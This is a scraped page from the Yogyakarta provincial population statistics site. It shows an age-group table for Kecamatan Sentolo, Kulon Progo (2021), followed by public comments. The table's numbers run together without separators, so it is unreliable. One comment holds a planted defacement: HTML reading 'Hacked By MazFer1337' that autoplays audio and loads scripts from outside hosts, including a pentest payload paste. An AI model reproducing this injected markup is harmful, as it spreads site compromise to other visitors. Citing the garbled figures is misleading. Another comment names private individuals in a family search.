Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN SENTOLO, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaDEMANGREJOSRIKAYANGANTUKSONOSALAMREJOSUKORENOKALI AGUNGSENTOLOBANGUNCIPTOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun4438 825748 10596109 2056664 13010597 2026356 1197992 1715454 108564 558 1.122
2 tahun2224 463528 635955 1143338 716556 1214330 736045 1052034 54337 310 647
3 tahun1816 344030 707357 1302429 536848 1164233 755051 1013620 56351 284 635
4 tahun2616 423227 596354 1173337 705247 992541 665258 1102121 42304 301 605
5 tahun2017 373436 708063 1433636 725871 1294445 894659 1053528 63353 355 708
6 tahun2618 443823 615545 1004540 856558 1234537 825550 1052724 51356 295 651
7 tahun2722 493938 776749 1163737 746940 1094236 785859 1172624 50365 305 670
8 tahun2225 474536 815754 1115035 855553 1086045 1056955 1242628 54384 331 715
9 tahun3430 644340 838762 1494448 926974 1434142 836550 1153024 54413 370 783
10 tahun1522 375533 886461 1254248 906763 1304545 905548 1032728 55370 348 718
11 tahun2025 453830 687654 1305042 925371 1244557 1028063 1432937 66391 379 770
12 tahun2529 544141 826061 1215340 937869 1475851 1096570 1354227 69422 388 810
13 tahun2021 414539 846564 1293935 746254 1166846 1146667 1333129 60396 355 751
14 tahun2028 484440 846268 1304748 956767 1344349 927168 1392532 57379 400 779
15 tahun1320 332344 675851 1093636 726255 1174632 785766 1233115 46326 319 645
16 tahun2522 474237 795262 1144450 946768 1354049 896456 1202923 52363 367 730
17 tahun2725 522633 596657 1234433 776874 1423849 876360 1233427 61366 358 724
18 tahun2114 353542 778161 1424952 1016455 1194844 925763 1203125 56386 356 742
19 tahun2423 473631 676948 1173235 676458 1224133 745670 1262634 60348 332 680
20 tahun2221 434235 776655 1213746 836068 1286350 1135046 962432 56364 353 717
21 tahun2618 443635 716477 1415748 1056561 1264660 1067372 1452428 52391 399 790
22 tahun3121 523625 615467 1213536 716455 1194243 855357 1102342 65338 346 684
23 tahun1521 364535 806854 1223756 936949 1183947 865955 1143219 51364 336 700
24 tahun1824 423428 625553 1084748 956451 1154249 916762 1292126 47348 341 689
25 tahun1923 423437 715467 1214541 866459 1233333 666267 1293028 58341 355 696
26 tahun1925 444242 846068 1284235 776460 1246041 1016960 1293427 61390 358 748
27 tahun2224 463329 625169 1203744 815649 1054333 766446 1103625 61342 319 661
28 tahun2624 502841 696572 1373841 796754 1213746 835569 1241724 41333 371 704
29 tahun1425 393435 696269 1313646 825143 944040 806563 1282837 65330 358 688
30 tahun3222 543728 655749 1064038 784263 1053147 787859 1372628 54343 334 677
31 tahun2919 484635 816767 1343245 776456 1204646 925354 1072527 52362 349 711
32 tahun1429 433730 675348 1014442 865863 1213738 756257 1192915 44334 322 656
33 tahun1826 443043 734255 974436 805641 975043 934638 841930 49305 312 617
34 tahun3326 593136 675542 973537 724649 953442 764756 1032828 56309 316 625
35 tahun2320 433739 766968 1373240 726262 1244151 925350 1031927 46336 357 693
36 tahun2928 572635 614957 1064445 896465 1294444 885254 1063725 62345 353 698
37 tahun2434 584544 897080 1504435 795865 1235451 1056264 1263431 65391 404 795
38 tahun3028 584045 858365 1483746 835568 1235136 875963 1222930 59384 381 765
39 tahun2127 484437 817856 1345028 787851 1295445 995266 1182825 53405 335 740
40 tahun3423 574434 785755 1123141 725775 1325947 1066057 1173633 69378 365 743
41 tahun2017 373135 666166 1273138 697373 1465741 986367 1302722 49363 359 722
42 tahun2624 503938 776670 1363329 626658 1244147 887279 1512439 63367 384 751
43 tahun2823 513827 657251 1233241 736060 1204651 976563 1282821 49369 337 706
44 tahun2324 473140 714866 1143535 705853 1114537 825150 1012222 44313 327 640
45 tahun3326 593837 758463 1474329 725866 1244650 966071 1313638 74398 380 778
46 tahun1725 422636 626055 1154743 904843 913232 644556 1012421 45299 311 610
47 tahun2619 453030 605251 1033246 785359 1122933 624851 992624 50296 313 609
48 tahun3020 503836 746074 1342942 715460 1144953 1026063 1232629 55346 377 723
49 tahun2219 413136 676258 1203436 705444 983639 756956 1253024 54338 312 650
50 tahun2616 423134 655246 984442 865175 1265050 1006555 1202823 51347 341 688
51 tahun1927 463940 795739 964450 945650 1063744 816776 1432534 59344 360 704
52 tahun2526 514643 895866 1244546 917261 1334054 944766 1132019 39353 381 734
53 tahun1922 414637 835661 1174840 885163 1145140 916064 1242634 60357 361 718
54 tahun2622 483833 716863 1313247 795048 984048 885367 1202133 54328 361 689
55 tahun1626 423736 735957 1163347 806053 1134247 895458 1122022 42321 346 667
56 tahun2824 523444 785145 963639 755957 1164031 714660 1062730 57321 330 651
57 tahun2215 373933 723147 783746 835548 1034136 775355 1082625 51304 305 609
58 tahun1422 362836 644043 832538 635351 1042840 683947 861929 48246 306 552
59 tahun1713 303233 654846 943541 763238 703644 805952 1112218 40281 285 566
60 tahun1816 343133 643453 874142 835046 964136 774966 1152423 47288 315 603
61 tahun2225 473037 675064 1143037 675748 1054151 925279 1312820 48310 361 671
62 tahun2021 412531 564544 893425 594244 863037 674150 911629 45253 281 534
63 tahun1912 312324 473637 732529 543254 863827 655549 104913 22237 245 482
64 tahun1323 362029 493535 702738 652756 832719 464240 821615 31207 255 462
65 tahun1319 322531 563235 672428 524154 952448 724042 821414 28213 271 484
66 tahun1723 402326 494234 763230 624837 852516 414542 872020 40252 228 480
67 tahun1416 302726 533635 712015 352719 462422 464340 831420 34205 193 398
68 tahun1610 261031 411619 351613 293418 522221 432430 541011 21148 153 301
69 tahun1212 241415 293234 661818 362726 533116 472732 591116 27172 169 341
70 tahun128 201523 382040 602320 433423 572513 381235 471112 23152 174 326
71 tahun1218 302519 442432 56922 312525 501825 432737 641816 34158 194 352
72 tahun716 231721 383439 731815 332223 451216 282324 47819 27141 173 314
73 tahun137 201216 281712 291013 232021 411411 251022 32714 21103 116 219
74 tahun615 211318 311535 501011 211114 251118 291620 361312 2595 143 238
75 tahun1014 241421 351721 38618 242419 431121 321428 421212 24108 154 262
76 tahun514 191010 201925 4489 171828 461019 291718 35920 2996 143 239
77 tahun16 71112 231628 44914 231819 371317 301316 29812 2089 124 213
78 tahun511 161011 211319 32516 212014 341219 311211 23310 1380 111 191
79 tahun66 12615 211212 24918 2748 121214 26713 2064 1062 90 152
80 ke atas4457 1015490 14479121 2005695 15175161 23666106 17258113 1713368 101465 811 1.276
Jumlah1.6701.7023.3722.6162.6475.2634.2784.2698.5472.7732.9585.7314.2414.2028.4433.1163.1416.2574.1124.3288.4401.9262.0083.934 24.732 25.255 49.987
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih